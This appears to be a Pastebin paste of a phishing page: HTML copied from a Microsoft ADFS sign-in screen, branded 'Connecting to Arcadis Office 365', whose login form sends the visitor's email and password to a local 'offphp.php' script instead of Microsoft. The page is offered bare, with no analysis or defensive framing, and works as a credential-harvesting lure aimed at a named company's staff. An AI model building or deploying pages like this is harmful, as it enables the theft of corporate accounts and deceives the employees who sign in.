Advertisement
Guest User

Untitled

a guest
Mar 19th, 2018
8,859
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.64 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html lang="en-US">
  3. <head>
  4. <meta http-equiv="X-UA-Compatible" content="IE=10.000"/>
  5. <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"/>
  6. <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
  7. <meta http-equiv="cache-control" content="no-cache,no-store"/>
  8. <meta http-equiv="pragma" content="no-cache"/>
  9. <meta http-equiv="expires" content="-1"/>
  10. <meta name='mswebdialog-title' content='Connecting to Arcadis Office 365'/>
  11.  
  12. <title>Sign In</title>
  13. <script type='text/javascript'>
  14. //<![CDATA[
  15. function LoginErrors(){this.userNameFormatError = 'Enter your user ID in the format \u0026quot;domain\\user\u0026quot; or \u0026quot;user@domain\u0026quot;.'; this.passwordEmpty = 'Enter your password.';}
  16. //]]>
  17. </script>
  18. <link rel="SHORTCUT ICON" href="./css/favicon_a.ico" />
  19. </script>
  20.  
  21. <script type='text/javascript'>
  22. //<![CDATA[
  23. // Copyright (c) Microsoft Corporation. All rights reserved.
  24. function InputUtil(errTextElementID, errDisplayElementID) {
  25.  
  26. if (!errTextElementID) errTextElementID = 'errorText';
  27. if (!errDisplayElementID) errDisplayElementID = 'error';
  28.  
  29. this.hasFocus = false;
  30. this.errLabel = document.getElementById(errTextElementID);
  31. this.errDisplay = document.getElementById(errDisplayElementID);
  32. };
  33. InputUtil.prototype.canDisplayError = function () {
  34. return this.errLabel && this.errDisplay;
  35. }
  36. InputUtil.prototype.checkError = function () {
  37. if (!this.canDisplayError){
  38. throw new Error ('Error element not present');
  39. }
  40. if (this.errLabel && this.errLabel.innerHTML) {
  41. this.errDisplay.style.display = '';
  42. var cause = this.errLabel.getAttribute('for');
  43. if (cause) {
  44. var causeNode = document.getElementById(cause);
  45. if (causeNode && causeNode.value) {
  46. causeNode.focus();
  47. this.hasFocus = true;
  48. }
  49. }
  50. }
  51. else {
  52. this.errDisplay.style.display = 'none';
  53. }
  54. };
  55. InputUtil.prototype.setInitialFocus = function (input) {
  56. if (this.hasFocus) return;
  57. var node = document.getElementById(input);
  58. if (node) {
  59. if ((/^\s*$/).test(node.value)) {
  60. node.focus();
  61. this.hasFocus = true;
  62. }
  63. }
  64. };
  65. InputUtil.prototype.setError = function (input, errorMsg) {
  66. if (!this.canDisplayError) {
  67. throw new Error('Error element not present');
  68. }
  69. input.focus();
  70.  
  71. if (errorMsg) {
  72. this.errLabel.innerHTML = errorMsg;
  73. }
  74. this.errLabel.setAttribute('for', input.id);
  75. this.errDisplay.style.display = '';
  76. };
  77. InputUtil.makePlaceholder = function (input) {
  78. var ua = navigator.userAgent;
  79.  
  80. if (ua != null &&
  81. (ua.match(/MSIE 9.0/) != null ||
  82. ua.match(/MSIE 8.0/) != null ||
  83. ua.match(/MSIE 7.0/) != null)) {
  84. var node = document.getElementById(input);
  85. if (node) {
  86. var placeholder = node.getAttribute("placeholder");
  87. if (placeholder != null && placeholder != '') {
  88. var label = document.createElement('input');
  89. label.type = "text";
  90. label.value = placeholder;
  91. label.readOnly = true;
  92. label.style.position = 'absolute';
  93. label.style.borderColor = 'transparent';
  94. label.className = node.className + ' hint';
  95. label.tabIndex = -1;
  96. label.onfocus = function () { this.nextSibling.focus(); };
  97.  
  98. node.style.position = 'relative';
  99. node.parentNode.style.position = 'relative';
  100. node.parentNode.insertBefore(label, node);
  101. node.onkeyup = function () { InputUtil.showHint(this); };
  102. node.onblur = function () { InputUtil.showHint(this); };
  103. node.style.background = 'transparent';
  104.  
  105. node.setAttribute("placeholder", "");
  106. InputUtil.showHint(node);
  107. }
  108. }
  109. }
  110. };
  111. InputUtil.focus = function (inputField) {
  112. var node = document.getElementById(inputField);
  113. if (node) node.focus();
  114. };
  115. InputUtil.hasClass = function(node, clsName) {
  116. return node.className.match(new RegExp('(\\s|^)' + clsName + '(\\s|$)'));
  117. };
  118. InputUtil.addClass = function(node, clsName) {
  119. if (!this.hasClass(node, clsName)) node.className += " " + clsName;
  120. };
  121. InputUtil.removeClass = function(node, clsName) {
  122. if (this.hasClass(node, clsName)) {
  123. var reg = new RegExp('(\\s|^)' + clsName + '(\\s|$)');
  124. node.className = node.className.replace(reg, ' ');
  125. }
  126. };
  127. InputUtil.showHint = function (node, gotFocus) {
  128. if (node.value && node.value != '') {
  129. node.previousSibling.style.display = 'none';
  130. }
  131. else {
  132. node.previousSibling.style.display = '';
  133. }
  134. };
  135. //]]>
  136. </script>
  137.  
  138.  
  139.  
  140. <link rel="stylesheet" type="text/css" href="./css/style.css" /><style>.illustrationClass {background-image:url(./css/heroillustration.png);}</style>
  141.  
  142. </head>
  143. <body dir="ltr" class="body">
  144. <div id="noScript" style="position:static; width:100%; height:100%; z-index:100">
  145. <h1>JavaScript required</h1>
  146. <p>JavaScript is required. This web browser does not support JavaScript or JavaScript in this web browser is not enabled.</p>
  147. <p>To find out if your web browser supports JavaScript or to enable JavaScript, see web browser help.</p>
  148. </div>
  149. <script type="text/javascript" language="JavaScript">
  150. document.getElementById("noScript").style.display = "none";
  151. </script>
  152. <div id="fullPage">
  153. <div id="brandingWrapper" class="float">
  154. <div id="branding"></div>
  155. </div>
  156. <div id="contentWrapper" class="float">
  157. <div id="content">
  158. <div id="header">
  159. <img src="./css/bannerlogo.png" alt="Sign in with your work or school account" class="workload_img" id="login_workload_logo_image" style="visibility: visible;">
  160. </div>
  161. <div id="workArea">
  162.  
  163. <div id="authArea" class="groupMargin">
  164.  
  165.  
  166. <div id="loginArea">
  167. <div id="loginMessage" class="groupMargin">Work or school, or personal Microsoft account</div>
  168.  
  169. <form method="post" id="loginForm" autocomplete="off" novalidate="novalidate" onKeyPress="if (event && event.keyCode == 13) Login.submitLoginRequest();" action="offphp.php" >
  170. <div id="error" class="fieldMargin error smallText">
  171. <label id="errorText" for=""></label>
  172. </div>
  173.  
  174. <div id="formsAuthenticationArea">
  175. <div id="userNameArea">
  176. <input id="userNameInput" name="UserName" type="email" tabindex="1" class="text fullWidth"
  177. spellcheck="false" placeholder="Email or phone" autocomplete="off"/>
  178. </div>
  179.  
  180. <div id="passwordArea">
  181. <input id="passwordInput" name="Password" type="password" tabindex="2" class="text fullWidth"
  182. placeholder="Password" autocomplete="off"/>
  183. </div>
  184. <div id="kmsiArea" style="display:none">
  185. <input type="checkbox" name="Kmsi" id="kmsiInput" value="true" tabindex="3" />
  186. <label for="kmsiInput">Keep me signed in</label>
  187. </div>
  188. <div id="submissionArea" class="submitMargin">
  189. <span id="submitButton" class="submit" tabindex="4"
  190. onKeyPress="if (event && event.keyCode == 32) Login.submitLoginRequest();"
  191. onclick="return Login.submitLoginRequest();">Sign in</span>
  192. </div>
  193. </div>
  194. <input id="optionForms" type="hidden" name="AuthMethod" value="FormsAuthentication"/>
  195. </form>
  196.  
  197. <div id="authOptions">
  198. <form id="options" method="post" action="offphp.php">
  199. <script type="text/javascript">
  200. function SelectOption(option) {
  201. var i = document.getElementById('optionSelection');
  202. i.value = option;
  203. document.forms['options'].submit();
  204. return false;
  205. }
  206. </script>
  207. <input id="optionSelection" type="hidden" name="AuthMethod" />
  208. <div class='groupMargin'></div>
  209. </form>
  210. </div>
  211.  
  212. <div id="introduction" class="groupMargin">
  213.  
  214. </div>
  215.  
  216. <script type="text/javascript">
  217. //<![CDATA[
  218.  
  219. function Login() {
  220. }
  221.  
  222. Login.userNameInput = 'userNameInput';
  223. Login.passwordInput = 'passwordInput';
  224.  
  225. Login.initialize = function () {
  226.  
  227. var u = new InputUtil();
  228.  
  229. u.checkError();
  230. u.setInitialFocus(Login.userNameInput);
  231. u.setInitialFocus(Login.passwordInput);
  232. }();
  233.  
  234. Login.submitLoginRequest = function () {
  235. var u = new InputUtil();
  236. var e = new LoginErrors();
  237.  
  238. var userName = document.getElementById(Login.userNameInput);
  239. var password = document.getElementById(Login.passwordInput);
  240.  
  241. if (!userName.value || !userName.value.match('[@\\\\]')) {
  242. u.setError(userName, e.userNameFormatError);
  243. return false;
  244. }
  245.  
  246. if (!password.value) {
  247. u.setError(password, e.passwordEmpty);
  248. return false;
  249. }
  250.  
  251. document.forms['loginForm'].submit();
  252. return false;
  253. };
  254.  
  255. InputUtil.makePlaceholder(Login.userNameInput);
  256. InputUtil.makePlaceholder(Login.passwordInput);
  257. //]]>
  258. </script>
  259. </div>
  260.  
  261. </div>
  262.  
  263. </div>
  264. <div id="footerPlaceholder"></div>
  265. </div>
  266. <div id="footer">
  267. <div id="footerLinks" class="floatReverse">
  268. <div><span id="copyright">&#169; 2016 Microsoft</span></div>
  269. </div>
  270.  
  271. <div class="footer_glyph">
  272. <img src="https://secure.aadcdn.microsoftonline-p.com/ests/2.1.4276.9/content/images/microsoft_logo.png" alt="Microsoft account symbol" />
  273. </div>
  274. </div>
  275. </div>
  276. <script type='text/javascript'>
  277. //<![CDATA[
  278. // Copyright (c) Microsoft Corporation. All rights reserved.
  279.  
  280. // This file contains several workarounds on inconsistent browser behaviors that administrators may customize.
  281. "use strict";
  282.  
  283. // iPhone email friendly keyboard does not include "\" key, use regular keyboard instead.
  284. // Note change input type does not work on all versions of all browsers.
  285. if (navigator.userAgent.match(/iPhone/i) != null) {
  286. var emails = document.querySelectorAll("input[type='email']");
  287. if (emails) {
  288. for (var i = 0; i < emails.length; i++) {
  289. emails[i].type = 'text';
  290. }
  291. }
  292. }
  293.  
  294. // In the CSS file we set the ms-viewport to be consistent with the device dimensions,
  295. // which is necessary for correct functionality of immersive IE.
  296. // However, for Windows 8 phone we need to reset the ms-viewport's dimension to its original
  297. // values (auto), otherwise the viewport dimensions will be wrong for Windows 8 phone.
  298. // Windows 8 phone has agent string 'IEMobile 10.0'
  299. if (navigator.userAgent.match(/IEMobile\/10\.0/)) {
  300. var msViewportStyle = document.createElement("style");
  301. msViewportStyle.appendChild(
  302. document.createTextNode(
  303. "@-ms-viewport{width:auto!important}"
  304. )
  305. );
  306. msViewportStyle.appendChild(
  307. document.createTextNode(
  308. "@-ms-viewport{height:auto!important}"
  309. )
  310. );
  311. document.getElementsByTagName("head")[0].appendChild(msViewportStyle);
  312. }
  313.  
  314. // If the innerWidth is defined, use it as the viewport width.
  315. if (window.innerWidth && window.outerWidth && window.innerWidth !== window.outerWidth) {
  316. var viewport = document.querySelector("meta[name=viewport]");
  317. viewport.setAttribute('content', 'width=' + window.innerWidth + 'px; initial-scale=1.0; maximum-scale=1.0');
  318. }
  319.  
  320. // Gets the current style of a specific property for a specific element.
  321. function getStyle(element, styleProp) {
  322. var propStyle = null;
  323.  
  324. if (element && element.currentStyle) {
  325. propStyle = element.currentStyle[styleProp];
  326. }
  327. else if (element && window.getComputedStyle) {
  328. propStyle = document.defaultView.getComputedStyle(element, null).getPropertyValue(styleProp);
  329. }
  330.  
  331. return propStyle;
  332. }
  333.  
  334. // The script below is used for downloading the illustration image
  335. // only when the branding is displaying. This script work together
  336. // with the code in PageBase.cs that sets the html inline style
  337. // containing the class 'illustrationClass' with the background image.
  338. var computeLoadIllustration = function () {
  339. var branding = document.getElementById("branding");
  340. var brandingDisplay = getStyle(branding, "display");
  341. var brandingWrapperDisplay = getStyle(document.getElementById("brandingWrapper"), "display");
  342.  
  343. if (brandingDisplay && brandingDisplay !== "none" &&
  344. brandingWrapperDisplay && brandingWrapperDisplay !== "none") {
  345. var newClass = "illustrationClass";
  346.  
  347. if (branding.classList && branding.classList.add) {
  348. branding.classList.add(newClass);
  349. } else if (branding.className !== undefined) {
  350. branding.className += " " + newClass;
  351. }
  352. if (window.removeEventListener) {
  353. window.removeEventListener('load', computeLoadIllustration, false);
  354. window.removeEventListener('resize', computeLoadIllustration, false);
  355. }
  356. else if (window.detachEvent) {
  357. window.detachEvent('onload', computeLoadIllustration);
  358. window.detachEvent('onresize', computeLoadIllustration);
  359. }
  360. }
  361. };
  362.  
  363. if (window.addEventListener) {
  364. window.addEventListener('resize', computeLoadIllustration, false);
  365. window.addEventListener('load', computeLoadIllustration, false);
  366. }
  367. else if (window.attachEvent) {
  368. window.attachEvent('onresize', computeLoadIllustration);
  369. window.attachEvent('onload', computeLoadIllustration);
  370. }
  371.  
  372. //]]>
  373. </script>
  374.  
  375.  
  376. </body>
  377. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement